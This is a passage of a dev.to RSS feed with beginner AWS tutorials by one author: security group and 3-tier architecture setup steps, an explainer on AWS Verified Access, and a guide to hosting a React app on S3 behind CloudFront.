&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8ulll6eekjbettuxv9v6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8ulll6eekjbettuxv9v6.png" alt="Image description" width="800" height="305"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Next lets create the 5th security group connect to the db and the internal load balancer&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmgwqscss28qyaq1mebtw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmgwqscss28qyaq1mebtw.png" alt="Image description" width="800" height="295"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>a</category>
    </item>
    <item>
      <title>AWS 3-Tier Architecture Part-1</title>
      <dc:creator>D3fender0</dc:creator>
      <pubDate>Wed, 09 Apr 2025 16:47:29 +0000</pubDate>
      <link>https://dev.to/vasanthbal5220/aws-3-tier-architecture-part-1-ado</link>
      <guid>https://dev.to/vasanthbal5220/aws-3-tier-architecture-part-1-ado</guid>
      <description>&lt;p&gt;Architecture &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F31mb1rj6t1if3s9ugy6r.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F31mb1rj6t1if3s9ugy6r.png" alt="Image description" width="800" height="361"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now create a S3 bucket to avoid errors us us-east-2 as aws account region with bucket versioning enabled&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhw2vbc4xwpd90ivmciy8.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhw2vbc4xwpd90ivmciy8.jpg" alt="Image description" width="800" height="189"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Next head to dashboard and open Iam to create a new Iam role for S3&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0eiaecrs4kf8wwfa6rra.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0eiaecrs4kf8wwfa6rra.jpg" alt="Image description" width="794" height="225"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Click next and add the following role:&lt;/p&gt;

&lt;p&gt;AmazonSSMManagedInstanceCore&lt;/p&gt;

&lt;p&gt;AmazonS3ReadOnlyAccess&lt;/p&gt;

&lt;p&gt;Next create role name and click create role&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6ankti0nof2hkbqa2um3.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6ankti0nof2hkbqa2um3.jpg" alt="Image description" width="800" height="224"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now we have successfully created a role our S3&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffhgfmu6ri5iwa269g4pg.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffhgfmu6ri5iwa269g4pg.jpg" alt="Image description" width="800" height="272"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>AWS verified Access services</title>
      <dc:creator>D3fender0</dc:creator>
      <pubDate>Wed, 09 Apr 2025 16:07:36 +0000</pubDate>
      <link>https://dev.to/vasanthbal5220/aws-verified-access-services-17mk</link>
      <guid>https://dev.to/vasanthbal5220/aws-verified-access-services-17mk</guid>
      <description>&lt;p&gt;What is AWS Verified Access?&lt;/p&gt;

&lt;p&gt;AWS Verified Access is a service that lets you securely connect users to your internal web apps—without needing a VPN. &lt;/p&gt;

&lt;p&gt;You read that right. No VPN needed. Verified Access uses the Zero Trust model, meaning “trust no one by default.” It verifies the user’s identity and their device posture before granting access.&lt;/p&gt;

&lt;p&gt;Why Should Beginners Like Us Care?&lt;/p&gt;

&lt;p&gt;As cloud newbies, we usually focus on EC2, S3, Lambda, and VPC (of course). But security is a big deal in cloud computing, and that’s where Verified Access comes in:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;No VPN Required: Easy to set up access without old-school network tunnels.&lt;/li&gt;
&lt;li&gt;Fine-Grained Access Control: Only let the right people with the right devices access your app.&lt;/li&gt;
&lt;li&gt; Integrates with IAM Identity Center.&lt;/li&gt;
&lt;li&gt;  Improves Visibility: Logs all access attempts to CloudWatch for easy monitoring.
So, if you're building internal tools for your dev team, or hosting something sensitive on EC2—Verified Access can lock it down.
🏗️ How Does It Work?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Here’s a simple beginner flow of how it works:&lt;/p&gt;

&lt;p&gt;✅ User Tries to Access a private web app.&lt;/p&gt;

&lt;p&gt;👤 Verified Access Checks their identity and device.&lt;/p&gt;

&lt;p&gt;🔓 If verified, grants access to the app. If not—bye-bye.&lt;/p&gt;

&lt;p&gt;how it works&lt;/p&gt;

&lt;p&gt;You create a Verified Access instance, attach it to a load balancer (usually an Application Load Balancer), and define the trust providers (like IAM Identity Center ). Pretty neat for a security service!&lt;/p&gt;

&lt;p&gt;Prerequisites:&lt;/p&gt;

&lt;p&gt;EC2 instance hosting a simple app (e.g., Flask, Node.js, or even a static HTML).&lt;/p&gt;

&lt;p&gt;Application Load Balancer.&lt;/p&gt;

&lt;p&gt;IAM Identity Center (or create a mock provider for testing).&lt;/p&gt;

&lt;p&gt;Steps to Try:&lt;/p&gt;

&lt;p&gt;Go to the AWS Console &amp;gt; Verified Access.&lt;/p&gt;

&lt;p&gt;Create a Verified Access instance.&lt;/p&gt;

&lt;p&gt;Connect your ALB.&lt;/p&gt;

&lt;p&gt;Choose your trust provider.&lt;/p&gt;

&lt;p&gt;Define access policies using Cedar (AWS's new policy language—super readable!).&lt;/p&gt;

&lt;p&gt;Test by accessing your app via the Verified Access endpoint.&lt;/p&gt;

&lt;p&gt;📌 My Final Thoughts&lt;/p&gt;

&lt;p&gt;As someone new to cloud security, learning about AWS Verified Access was refreshing. It’s a solid option if you're thinking about Zero Trust and want to avoid the hassle of setting up VPNs for internal apps.&lt;/p&gt;

&lt;p&gt;If you’re also learning AWS, don’t be afraid to explore the less-popular services. You might find something awesome, just like I did.&lt;/p&gt;

&lt;p&gt;Drop a comment, I’d love to hear how you’re handling internal access securely in your projects 👇&lt;/p&gt;

&lt;p&gt;Let’s keep learning 💡&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Hosting a React App on AWS S3 with CloudFront</title>
      <dc:creator>D3fender0</dc:creator>
      <pubDate>Thu, 23 Jan 2025 19:09:27 +0000</pubDate>
      <link>https://dev.to/vasanthbal5220/hosting-a-react-app-on-aws-s3-with-cloudfront-1280</link>
      <guid>https://dev.to/vasanthbal5220/hosting-a-react-app-on-aws-s3-with-cloudfront-1280</guid>
      <description>&lt;p&gt;&lt;strong&gt;Building the React Project&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;1.Open the command prompt and navigate to your project directory.&lt;/p&gt;

&lt;p&gt;2.Run the following commands to create and set up your React project:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;npx create-react-app your-react-app-name
npm create vite@latest 
    1.enter your project name
    2. select react framework
    3. Then choose Typescript
npm install
npm run dev
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Once the development server starts, you will see your app running on a local IP address.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7wqvlnm02df07e8lxkr0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7wqvlnm02df07e8lxkr0.png" alt="Image description" width="800" height="324"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You can modify the application code in the src/App.tsx file as needed.&lt;/p&gt;

&lt;p&gt;Creating an S3 Bucket&lt;/p&gt;

&lt;p&gt;1.Log in to the AWS Management Console.&lt;/p&gt;

&lt;p&gt;2.Search for S3 in the search bar and click on it.&lt;/p&gt;

&lt;p&gt;3.Click on the Create bucket button.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgbqu379d99d2tblhyijf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgbqu379d99d2tblhyijf.png" alt="Image description" width="800" height="366"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;4.Provide a unique name for your bucket.&lt;br&gt;
    Note: The bucket name must be globally unique.&lt;/p&gt;

&lt;p&gt;5.Select the ACL disabled option. This ensures that all objects in the bucket are owned by this account.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Disable the Block all public access option.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbumhfzbtm587u9o7mmoz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbumhfzbtm587u9o7mmoz.png" alt="Image description" width="800" height="220"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;7.Click Create bucket to finalize the process.&lt;/p&gt;

&lt;p&gt;8.Upload your React project files and folders to the bucket.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftmrocpadkomlbjncy09f.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftmrocpadkomlbjncy09f.png" alt="Image description" width="800" height="389"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;9.Configuring Static Website Hosting&lt;/p&gt;

&lt;p&gt;10.Navigate to the Properties tab of your S3 bucket.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgi5g9t8xsfmgdp7lm5nn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgi5g9t8xsfmgdp7lm5nn.png" alt="Image description" width="800" height="327"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;11.Scroll down to the Static website hosting section and click Edit.&lt;/p&gt;

&lt;p&gt;12.Enable static website hosting and provide the name of your main file (e.g., index.html).&lt;/p&gt;

&lt;p&gt;13.Save the changes.&lt;/p&gt;

&lt;p&gt;14.Setting Bucket Permissions&lt;/p&gt;

&lt;p&gt;15.Move to the Permissions tab.&lt;/p&gt;

&lt;p&gt;16.Generate a new Bucket Policy:&lt;br&gt;
   17.Copy your bucket's ARN number.&lt;br&gt;
    18.Use the policy generator to create a bucket policy that grants public read access.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7ze54280xq8ou3i8q68n.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7ze54280xq8ou3i8q68n.png" alt="Image description" width="800" height="395"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Add the generated bucket policy to your bucket.&lt;/p&gt;

&lt;p&gt;Modify the Resource field in the policy to include "/*" at the end, ensuring that all files in the bucket are accessible.&lt;/p&gt;

&lt;p&gt;Save the changes.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F78ipigvhnqfc76oi160c.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F78ipigvhnqfc76oi160c.png" alt="Image description" width="800" height="337"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Configuring CloudFront&lt;/p&gt;

&lt;p&gt;1.Navigate to the CloudFront service in AWS.&lt;/p&gt;

&lt;p&gt;2.Click Create Distribution and choose your S3 bucket in the Origin Domain field.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9ca16fnlm5fiyk9hz82q.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9ca16fnlm5fiyk9hz82q.png" alt="Image description" width="800" height="78"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;3.Enable the following settings:&lt;br&gt;
        Redirect HTTP to HTTPS.&lt;br&gt;
        Set the appropriate caching and security options.&lt;/p&gt;

&lt;p&gt;4.Disable the Web Application Firewall (WAF) option if you don’t need it.&lt;/p&gt;

&lt;p&gt;Save the changes and wait a few minutes for the CloudFront distribution to deploy.&lt;/p&gt;

&lt;p&gt;Once deployed, copy the CloudFront domain URL and open it in a new browser tab.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuflehjhkycp3tyybwyun.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuflehjhkycp3tyybwyun.png" alt="Image description" width="800" height="338"&gt;&lt;/a&gt;&lt;br&gt;
By following these steps, your React project is successfully hosted on AWS S3 and securely delivered via CloudFront!&lt;/p&gt;

</description>
    </item>
  </channel>
</rss>
